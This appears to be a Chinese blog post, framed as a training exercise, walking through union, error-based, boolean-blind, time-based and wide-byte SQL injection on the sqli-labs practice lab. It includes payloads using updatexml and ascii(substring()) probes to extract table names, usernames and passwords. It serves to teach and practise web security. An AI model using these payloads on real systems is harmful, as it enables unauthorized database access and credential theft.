【实训】SQL注入的分类

基于联合查询的注入模式

以sqli-labs第一关为例
首先判断是什么类型的注入
输入?id=1正常,输入?id=1’报错,所以判断为是字符型注入,闭合字符为’

在这里插入图片描述
在这里插入图片描述

判断列数,使用order by命令,末尾输入%23注释掉后面的部分
输入order by = 4报错,输入order by = 3正常,所以判断共有三列

在这里插入图片描述
在这里插入图片描述

判断显示位,使用union联合查询命令,将前面的指令改为假才可以显示出后面指令的结果。
结果显示第二三位是回显字段,可以在第二三位输入指令,结果会在页面上显示

在这里插入图片描述

查看该数据库版本和当前数据库,当前数据库为security,版本为5.5.44

在这里插入图片描述

判断当前数据库用户,结果为root

在这里插入图片描述

查询当前数据库下的所有表

在这里插入图片描述

查看当前数据库下user表中的所有列名

在这里插入图片描述

查看user表中的全部信息

在这里插入图片描述

基于报错的注入模式

以sqli-labs第五关为例
判断注入类型,结果为字符型,闭合字符为’

在这里插入图片描述
在这里插入图片描述

使用updatexml函数查看数据库名

在这里插入图片描述

查询当前数据库下的所有表

在这里插入图片描述

查看当前数据库下user表中的所有列名

在这里插入图片描述

查看user表中的全部信息,但是显示不全

在这里插入图片描述

解决使用updatexml取值显示不全:

方法一: 以less-1为例,使用limit语句限制输出个数,如下图命令意为输出从1个,从第0个开始。
?id=1’and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)%23

在这里插入图片描述

方法二: 可以使用mid函数从文本中提取信息,第一个参数是要提取的表名,第二个参数为起始位置,第三个参数为返回的字符个数,可以分段显示查询的字段,直至看到全部字段,如下图分三次查看users表中的全部用户名.

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

基于布尔的盲注

以sqli-labs第八关为例
首先判断闭合字符,在输入’和’)时页面都显示异常且无报错信息,使用逻辑运算符进一步确定闭合字符,结果在使用’且后半句条件为真的基础上页面显示正常,所以闭合字符为’,为字符型注入

在这里插入图片描述

求当前数据库的长度,通过尝试得出长度为8

?id=1'and length(database())=8 -- +

在这里插入图片描述

求当前数据库名,根据结果,对比ASCII码表得出数据库名为security

?id=1'and ascii(substring(database(),1,1))=115 -- +

在这里插入图片描述

?id=1'and ascii(substring(database(),2,1))=101 -- +

在这里插入图片描述

?id=1'and ascii(substring(database(),3,1))=99 -- +

在这里插入图片描述

?id=1'and ascii(substring(database(),4,1))=117 -- +

在这里插入图片描述

?id=1'and ascii(substring(database(),5,1))=114 -- +

在这里插入图片描述

?id=1'and ascii(substring(database(),6,1))=105 -- +

在这里插入图片描述

?id=1'and ascii(substring(database(),7,1))=116 -- +

在这里插入图片描述

?id=1'and ascii(substring(database(),8,1))=121 -- +

在这里插入图片描述

求表的数量结果显示有四个表

?id=1'and (select count(table_name) from information_schema.tables where table_schema='security'limit 0,1) = 4 -- +

在这里插入图片描述

爆表名,结果表名分别为emails,referrers,ugents,users,下图为爆第一个表表名首字母是否为e

?id=1'and ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 -- +

在这里插入图片描述

下图为爆第二个表表名首字母为r,修改linmit语句切换数据表

?id=1'and ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114 -- +

在这里插入图片描述

使用user表报字段名,结果有三个字段分别为id,username,password

?id=1'and ascii(substring((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1),1,1)) = 105--+

在这里插入图片描述

最后爆库

?id=1'and ascii(substring((select id from users limit 0,1),1,1)) = 49 --+

在这里插入图片描述

?id=1'and ascii(substring((select username from users limit 0,1),1,1)) = 68 --+

在这里插入图片描述

?id=1'and ascii(substring((select password from users limit 0,1),1,1)) = 68 --+

在这里插入图片描述

基于时间的盲注

以sqli-labs第九关为例
尝试四个闭合字符页面都显示正常,考虑使用时间型注入模式
使用’配合sleep()函数构造payload时,发现页面响应时间在设定的5秒左右,即sleep()函数被执行,所以判断出闭合字符为’

在这里插入图片描述

然后使用相同的办法先获取数据库长度,再获取数据库名每一位的ascii值,由此确定数据库名

在这里插入图片描述
在这里插入图片描述

确定数据库名为security后,同样的方法爆数据表的数量

在这里插入图片描述
爆表名

在这里插入图片描述

使用users表爆列名

在这里插入图片描述

最后爆库,注意SQL语句与注释符之间有空格,没有空格会报错

在这里插入图片描述

堆查询的注入模式(目前还未尝试)

宽字节注入

以sqli-labs第三十二关为例
这一关没有输入框需要使用GET或POST方法传参,在使用GET方法输入?id=1’时,报错信息显示在我们输入的原有基础上增加了一个\

在这里插入图片描述

所以将注入的命令变为?id=00%bf’,通过报错信息可以看到闭合字符为’

在这里插入图片描述

这里的命令参考了两位大佬的文章,有不理解的可以做下参考
SQL注入防御绕过——宽字节注入
sqli-labs进阶篇 32关~38关
爆数据库

在这里插入图片描述

爆数据表,由于无法输入’所以无法输入’security’,这里可以使用database()代替当前数据库名称,也可以使用十六进制数表示

在这里插入图片描述

爆users表下列名

在这里插入图片描述

爆库

在这里插入图片描述

如有错误,欢迎批评指正[鞠躬]

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值